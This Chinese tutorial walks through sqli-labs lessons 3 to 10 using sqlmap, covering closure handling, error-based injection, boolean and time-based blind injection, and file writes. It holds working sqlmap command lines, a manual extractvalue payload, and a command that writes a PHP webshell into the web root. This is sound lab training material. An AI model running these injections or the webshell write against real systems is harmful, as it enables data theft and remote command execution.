SQLmap 通关 sqli-labs 系列(二):GET 型注入进阶

摘要: 在系列第一篇中,我们拿下了最简单的 Less-1 和 Less-2,体验了 SQLmap 的基本用法。从 Less-3 开始,sqli-labs 在 GET 型注入中陆续引入了括号、双引号、双注入(Double Injection)和盲注等复杂情况。本篇将带你逐一攻克 Less-3 到 Less-10,学会应对各种闭合方式、利用报错双注入、导出文件,以及驾驭布尔盲注和时间盲注。文中每一步都配有命令、关键输出解读和截图建议,让你在看懂手工原理的同时,用 SQLmap 实现自动化秒杀。


一、前情回顾与关卡全景

在 Less-1 和 Less-2 中,我们已经会使用:

复制代码
sqlmap -u "http://靶机/sqli-labs/Less-1/?id=1" --batch --dbs

接下来我们要面对的是 GET 型注入的"变体全家福":

  • Less-3:带括号的单引号闭合 ('$id')

  • Less-4:带括号的双引号闭合 ("$id")

  • Less-5:单引号双注入(error-based double query)

  • Less-6:双引号双注入

  • Less-7:导出文件型(INTO OUTFILE)

  • Less-8:布尔盲注

  • Less-9:时间盲注

  • Less-10:双引号时间盲注

我们的目标是 用 SQLmap 全部自动化通关,并理解它背后的选择


二、闭合方式的自动识别:Less-3 与 Less-4

2.1 Less-3:括号单引号

手工视角 :后台 SQL 为 SELECT * FROM users WHERE id=('1'),需要输入 1') 来闭合。

SQLmap 命令

复制代码
sqlmap -u "http://192.168.137.1/sqli-labs/Less-3/?id=1" --batch --dbs

SQLmap 会自动尝试各种前后缀组合,最终输出:

这就说明它找到了合适的闭合方式(内部会使用 1') AND ... 之类的 Payload)。随后继续执行 --tables--dump 即可。

2.2 Less-4:括号双引号

同理,直接套用命令,只需修改 URL 中的关卡号:

复制代码
sqlmap -u "http://192.168.137.1/sqli-labs/Less-4/?id=1" --batch --dbs

自动通过。


三、双注入(Double Injection):Less-5 和 Less-6

3.1 什么是双注入?

当页面不直接回显数据,但会显示 SQL 错误信息时,我们可以利用 extractvalue()updatexml() 等函数,在报错信息中"夹带"数据。手工 Payload 如:

复制代码
?id=1' and extractvalue(1,concat(0x7e,database()))--+

SQLmap 将这类技术归类为 error-based,并能自动识别双注入。

3.2 Less-5 实战
复制代码
sqlmap -u "http://192.168.137.1/sqli-labs/Less-5/?id=1" --batch --dbs

输出中会包含 error-based 字样,例如 MySQL >= 5.5 AND error-based - WHERE or HAVING clause (EXP)。这表明它正在使用报错注入,数据会通过 SQL 错误消息返回。

3.3 Less-6:双引号版本

命令相同,SQLmap 自动调整闭合:

复制代码
sqlmap -u "http://192.168.137.1/sqli-labs/Less-6/?id=1" --batch --dbs

无需多余操作。


四、导出文件型注入:Less-7

Less-7 的后台 SQL 类似 SELECT * FROM users WHERE id=(('1')),且允许使用 INTO OUTFILE 写文件。手工注入通常会写入 webshell。

4.1 常规数据提取

SQLmap 默认会尝试 UNION 注入来获取数据,但它可能因闭合复杂而失败。我们可以手动指定闭合:

复制代码
sqlmap -u "http://192.168.137.1/sqli-labs/Less-7/?id=1" --prefix="'))" --suffix="#" --union-cols=3 --batch --dbs
  • --prefix="'))":闭合前面的两个括号和单引号。

  • --suffix="#":用 # 注释掉后面的内容。

  • --union-cols=3:手工已知列数为 3,直接指定可加快速度。

成功后即可 --dump 数据。

4.2 写文件(Webshell)

如果你知道 Web 绝对路径(通常 sqli-labs 环境在 /var/www/html/ 下),可以直接用 SQLmap 写入一句话木马:

复制代码
sqlmap -u "http://192.168.137.1/sqli-labs/Less-7/?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php" --batch

其中 shell.php 内容为 <?php system($_GET["cmd"]);?>。前提是 MySQL 具有 FILE 权限且 secure_file_priv 允许写入。这在手工注入时可能已确认过。


五、盲注的自动化艺术:Less-8、Less-9、Less-10

5.1 盲注的两大类型
  • 布尔盲注(Boolean-based blind):页面根据查询真假返回不同内容(如"You are in...."和空白)。

  • 时间盲注(Time-based blind) :无论查询结果如何,页面都相同,只能通过 SLEEP() 等延迟来判断。

SQLmap 使用 --technique 参数来指定技术,也可让工具自动选择。

5.2 Less-8:布尔盲注
复制代码
sqlmap -u "http://192.168.137.1/sqli-labs/Less-8/?id=1" --batch --dbs

SQLmap 自动识别为 Boolean-based blind。如果想强制使用布尔技术(提高速度),可用:

复制代码
sqlmap -u "..." --technique B --dbs

盲注过程中,它会逐字符猜解数据库名

5.3 Less-9 与 Less-10:时间盲注

Less-9 为单引号时间盲注,Less-10 为双引号。命令:

复制代码
sqlmap -u "http://192.168.137.1/sqli-labs/Less-9/?id=1" --technique T --time-sec 2 --batch --dbs
  • --technique T:强制使用时间盲注。

  • --time-sec 2:设置判定延迟阈值为 2 秒(内网环境可设更小)。

时间盲注速度较慢,可以通过 --threads 5 增加线程(注意不要太高)。Less-10 的 URL 改为 Less-10/ 即可。


六、总结

我们学会了:

  • 放心交给 SQLmap 自动识别各种闭合方式;

  • 利用 error-based 双注入获取数据;

  • 指定 --prefix--suffix--union-cols 应对复杂闭合;

  • 在盲注关卡中指定技术并加速。

手工注入让你知道路在哪里,SQLmap 让你开车过去。记住路,才能在任何地方都不迷航。


**重要声明:**本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。

如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享 ,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。